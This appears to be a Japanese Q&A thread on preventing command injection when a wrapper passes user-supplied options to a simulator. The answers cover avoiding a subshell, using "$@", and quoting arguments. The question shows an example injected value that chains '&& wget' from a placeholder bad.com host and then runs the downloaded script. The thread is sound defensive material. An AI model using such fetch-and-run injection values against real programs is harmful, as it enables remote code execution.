web-dev-qa-db-ja.com

コマンドオプションを使用してコマンドインジェクションを防ぐ方法は?

ユーザーにシミュレーターに渡すカスタムオプションを指定させるラッパーアプリケーションがあります。ただし、ユーザーがユーザーオプションを介して他のコマンドを挿入しないようにしたいと思います。これを達成するための最良の方法は何ですか?

例えば。

  • ユーザー提供:-a -b
  • アプリケーションが実行されます:mysim --preset_opt -a -b

しかし、私はこれを起こしたくありません:

  • ユーザー提供:&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • アプリケーションが実行されます:mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

現在、ユーザーが提供するすべてのオプションを単一引用符で囲むだけでよいと考えています'そして、ユーザーが指定した単一引用符をすべて取り除き、最後の例のコマンドが無害であることが判明するようにします。

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

注:mysimコマンドは、docker/lxcコンテナー内のシェルスクリプトの一部として実行されます。 Ubuntuを実行しています。

13

ラッパープログラムを制御できる場合は、サブシェルを呼び出さないようにしてください。深いところにある プログラムを実行するための命令 は、実行可能ファイルへの絶対パス(現在のディレクトリに対する絶対パスまたは相対パス)と、引数として渡す文字列のリストで構成されています。 PATHルックアップ、空白区切りの引数、引用符、および制御演算子はすべてシェルによって提供されます。シェルなし、痛みなし。

たとえば、Perlラッパーでは、execまたはsystemのリスト形式を使用します。多くの言語では、execまたはunix.execではなく、execXXXまたはsystem関数(またはos.spawnまたはそれが呼び出されるもの)のいずれかを呼び出します。 Shell=False、またはそれが必要なもの。

ラッパーがシェルスクリプトの場合、"$@"を使用して引数を渡します。

#!/bin/sh
mysim -preset-opt "$@"

選択肢がなく、ラッパープログラムがシェルを呼び出す場合は、引数をシェルに渡す前に引用符で囲む必要があります。引数を引用する簡単な方法は、次のとおりです。

  1. 各引数で、出現する'(一重引用符)を4文字の文字列'\''に置き換えます。 (例:don'tdon'\''tになります)
  2. 各引数の先頭と各引数の末尾にも'を追加します。 (例:don'tから、don'\''t'don'\''t'になります)
  3. 結果を間にスペースを入れて連結します。

シェルラッパーでこれを行う必要がある場合は、次の方法があります。

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(残念ながら、bashの${VAR//PATTERN/REPLACEMENT}構文は、ここで便利になるため、風変わりな引用が必要であり、'\''を置換テキストとして取得できないと思います。)

getoptsbashを使用すると、引数を解析できます。例:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
0
kenorb